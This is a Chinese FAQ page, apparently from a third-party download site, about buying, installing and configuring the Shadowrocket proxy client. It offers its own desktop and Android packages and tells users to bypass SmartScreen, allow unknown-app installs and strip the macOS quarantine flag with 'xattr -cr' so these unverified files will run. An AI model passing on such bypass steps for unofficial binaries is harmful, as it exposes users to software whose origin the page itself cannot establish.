正版核验与购买
先核对应用条目与商店账号，再处理购买记录、设备兼容性和恢复下载。
怎样核对 App Store 中的 Shadowrocket 正版条目？
先核对应用名 Shadowrocket，再检查开发者 Shadow Launch Technology Limited、官方图标和产品页应用 ID 932747118。官方图标是白底蓝紫描边火箭，不能只凭搜索结果中的相似名称判断。iPhone / iPad 版 App Store $2.99 一次性付费，Mac / Windows / 安卓 / Linux 版免费；商店金额以页面显示为准。若条目开发者或应用 ID 不一致，应停止购买并返回下载页核对。
App Store 搜不到 Shadowrocket，应该检查什么？
先确认当前用于“媒体与购买项目”的 Apple Account 所属国家或地区，而不是只看设备语言、定位或系统地区。中国大陆 App Store 当前不提供此应用；打开产品页仍不可用时，先核对商店地区与设备兼容信息。需要调整地区时，按系统“设置 → Apple Account → 媒体与购买项目 → 查看账户 → 国家或地区”进入官方流程，先处理余额、订阅和付款资料等条件，不要反复修改设备语言来尝试刷新商店。
换 iPhone 或重装后，需要再次购买吗？
通常不需要重复购买：在新设备的 App Store 登录当初完成购买的 Apple Account，从账户中的“App”或“已购项目”查找 Shadowrocket 并重新下载。iPhone / iPad 版 App Store $2.99 一次性付费，Mac / Windows / 安卓 / Linux 版免费。若仍显示购买金额，先核对购买记录、当前商店账号及地区，不要直接再次付款；应用恢复后，已有订阅和配置仍需从自己的备份或原始资料恢复。
iPad 能安装吗，系统要求在哪里确认？
可以，Shadowrocket 提供 iPhone 与 iPad 使用方式，系统要求以 App Store 页面标注为准。先在产品页查看兼容性，再使用拥有购买记录的账号下载。iPhone / iPad 版 App Store $2.99 一次性付费，两种设备可使用同一账号的购买记录；Mac / Windows / 安卓 / Linux 版免费。安装到 iPad 后仍要导入自己已有的订阅或服务器信息，购买记录不会自动变成可连接的服务器配置。
家人共享能否使用，购买是否包含线路？
家人共享是否适用，先查看当前 App Store 产品页的支持信息，再核对家庭成员的购买共享设置、商店地区及购买记录；以页面和账号实际显示为准。iPhone / iPad 版 App Store $2.99 一次性付费，Mac / Windows / 安卓 / Linux 版免费。客户端一次性买断 ≠ 线路套餐，客户端买断 ≠ 线路套餐。本站不提供、不销售、不推荐节点或订阅，连接所需资料应使用用户已有的订阅或服务器信息。
下载安装与首次打开
先确认安装包来源与系统架构，再按系统提示完成必要的授权。
电脑和安卓能用 Shadowrocket 吗，从哪里获取？
能。iPhone / iPad 版 App Store $2.99 一次性付费，Mac / Windows / 安卓 / Linux 版免费。Mac 提供 Apple 芯片与 Intel 两种安装包，Windows、安卓和 Linux 按下载页列出的格式选择；这些安装包均从本站 /dl/shadowrocket/ 路径获取。首次打开前阅读下载页的安装放行说明：Windows 可能出现 SmartScreen 提示，Mac 可能需要到“隐私与安全性”允许打开，安卓需要为下载所用浏览器允许安装未知应用。
Mac 应该选择 Apple 芯片版还是 Intel 版？
打开屏幕左上角 Apple 菜单，进入“关于本机”：显示“芯片”并标注 Apple 芯片时选择 Apple 芯片版；显示 Intel 处理器时选择 Intel 版，不要仅凭机型年份判断。下载后将应用放入“应用程序”。若首次打开提示无法验证开发者，先确认安装包来自本站，再到“系统设置 → 隐私与安全性”查看“仍要打开”；若提示已损坏，可按下载页说明对应用执行 xattr -cr /Applications/Shadowrocket.app 后重试。
Windows 提示有风险，安卓不允许安装，如何处理？
先确认文件由本站下载页取得，且地址属于本站 /dl/shadowrocket/ 路径。Windows 出现 SmartScreen 时，可在确认来源后选择“更多信息 → 仍要运行”；若按钮不可用或设备受组织管理，应遵循管理员策略。安卓需进入系统“允许安装未知应用”，仅对实际下载文件的浏览器或文件管理器授权，安装完成后可关闭该权限。在微信内无法下载时，改用系统浏览器打开本站下载页，不要反复点击同一下载按钮。
Linux 下载哪种格式，安装后无法运行怎么办？
先根据发行版的软件包体系选择：Debian、Ubuntu 系列通常选 deb，使用 RPM 软件包体系的发行版选 rpm；AppImage 适合按独立文件运行，但仍需确认系统架构与运行依赖。包均从本站下载页获取。AppImage 首次运行前需授予执行权限，可使用 chmod +x 后接实际文件路径；deb 和 rpm 优先交给系统软件包管理器安装。若双击没有反应，从终端启动实际文件并查看错误，不要通过关闭系统整体防护来代替排查。
首次连接开关打不开，或界面是英文，应该怎么办？
首次连接时，iPhone / iPad 需要确认系统添加 VPN 配置的请求，并按提示完成设备验证；拒绝后可回到应用重新发起。仍无法开启时，到系统 VPN 设置查看是否存在冲突配置，检查设备是否受管理，再重启应用重试，不要直接清除全部网络设置。界面为英文不表示安装异常，可按 Home、Add Server、Global Routing、Config、Settings 等原文对照手册；按钮名称或位置应以当前应用实际显示为准。
订阅与节点导入
先分清订阅链接与单个服务器参数，再检查导入结果、更新和备份。
已有订阅应该怎样导入，和手动添加有什么区别？
先从自己的服务商处取得完整订阅链接，在 Home 打开添加入口，选择 Subscribe 并填写链接；若拿到的是单个服务器参数，则使用 Add Server，按协议填写服务器地址、端口及认证字段。两种资料不能互相替代：订阅用于获取一组条目，单个节点链接或二维码通常只包含对应服务器信息。保存后先检查列表是否生成，再选择条目测试；不要在确认导入结果之前连续重复添加，以免产生难以区分的重复分组。
订阅导入失败或列表为空，先查哪些项目？
依次检查链接是否完整、是否夹带空格或换行、是否复制成网页地址，以及自己的订阅是否仍有效。不要删改链接中的查询参数，它们可能包含访问凭据。接着确认当前网络能访问订阅地址，必要时切换 Wi-Fi 与蜂窝网络后只重试一次；连接已经异常时，可先断开客户端再测试订阅更新。若仍为空，向自己的服务商核对返回格式与账户状态，提供脱敏错误信息即可，不要公开完整订阅链接。
怎样手动更新订阅，自动更新有什么注意事项？
在 Home 找到需要更新的订阅分组，打开该分组的操作菜单并执行更新，具体入口以当前界面为准。完成后检查错误提示、条目变化及当前选择的服务器，不要只看按钮是否被点击。若当前版本提供打开时自动更新，可在相关订阅或 Settings 设置中启用；它只是在触发时重新请求原链接，不会修复失效凭据。手动更新也失败时，应先排查网络与订阅本身，而不是不断增加更新频率。
二维码无法识别，或者导入后协议参数不对怎么办？
使用 Scan QR Code 前先确认二维码完整、清晰且没有被裁掉边缘，并允许必要的相机访问。二维码应包含应用能识别的服务器或订阅内容，普通网页二维码不能直接当作节点。导入后核对协议、端口、认证信息、传输方式与 TLS 等字段；VMess、VLESS、Trojan 等参数应严格按已有服务器资料填写。不要为了让测试通过而随意关闭 TLS 验证；扫描持续失败时，可改用原始链接或在 Add Server 中逐项填写。
更换设备或更新应用后，订阅和配置会自动回来吗？
应用购买记录与配置资料是两类信息，恢复应用不等于恢复订阅、服务器和规则。更换设备前，先使用应用当前提供的配置导出或备份功能，并妥善保存自己原有的订阅链接；导出的内容可能包含认证信息，只应存放在个人可信位置。恢复后逐项核对服务器选择、Config 内容和 Global Routing，再测试连接。更新应用前也建议保留备份；订阅更新可能替换分组条目，不宜把手工备注或修改当作长期备份。
规则分流与故障排查
连接开关、服务器连通与规则命中是不同环节，应分别验证。
Global Routing 的 Config、Proxy、Direct 三种姿态怎么选？
配置姿态 Config 按当前配置中的规则决定流量走向，日常需要规则分流时优先检查这一项；代理姿态 Proxy 让纳入处理的流量使用当前代理策略，适合短时对照测试；直连姿态 Direct 让纳入处理的流量直接连接，适合判断问题是否与代理路径有关。切换姿态不会修复服务器参数，也不会自动补齐规则。测试时一次只改一个选项，记录结果后恢复原设置，避免把临时排查模式当作长期配置。
显示已连接，但网页打不开，应该按什么顺序排查？
先断开连接，确认设备原本能够访问网络，再重新连接并确认当前服务器不是空选项或失效条目。随后比较不同网站、不同网络和自己已有的另一条服务器，判断是单个目标异常还是全部请求失败。使用 Connectivity Test 辅助观察，但测试结果不等于所有业务请求都能通过。若 Proxy 能访问而 Config 不行，重点检查规则和 DNS；若所有姿态均异常，返回网络、服务器参数和系统 VPN 配置逐项检查。
规则分流没有按预期生效，应该检查哪里？
先确认 Global Routing 处于 Config，并检查当前实际启用的配置，而不是只看已经下载的文件。规则通常按顺序匹配，应留意前面的宽泛规则是否抢先命中，以及 FINAL 的最终策略是否符合预期。DOMAIN-SUFFIX、GEOIP、IP-CIDR 处理的匹配对象不同，不能只凭网站显示的地区推断命中结果。若应用提供连接记录，查看实际域名、目标地址和策略；修改前备份原配置，每次只调整一处并重新发起请求验证。
开启后耗电增加，On Demand 应该怎样设置？
先在系统电池用量中比较相近使用场景，区分前台下载、持续流量、后台重连和客户端本身的消耗，不要仅凭状态栏 VPN 标识判断耗电。网络不稳定、频繁测速、详细日志和过密的订阅更新都可能增加活动。On Demand 用于按条件触发连接，不是省电保证；启用前核对触发条件，若断开后立即重连，先检查是否由它触发。排查时可暂时停用 On Demand、减少测试频率，再逐项恢复并观察。
向支持人员描述故障时，应该提供和隐藏哪些信息？
提供设备平台、系统信息、问题出现的操作步骤、所选 Global Routing 姿态、错误提示，以及切换网络或服务器后的结果；同时说明是订阅更新失败、连接开关失败，还是连接后某个网站异常。提交截图或日志前，遮挡完整订阅链接、服务器认证字段、UUID、密码、个人地址与账号资料。尽量保留错误原文和相关时间线，不必发送整份配置；这样既能缩小排查范围，也能避免把可复用凭据暴露给无关人员。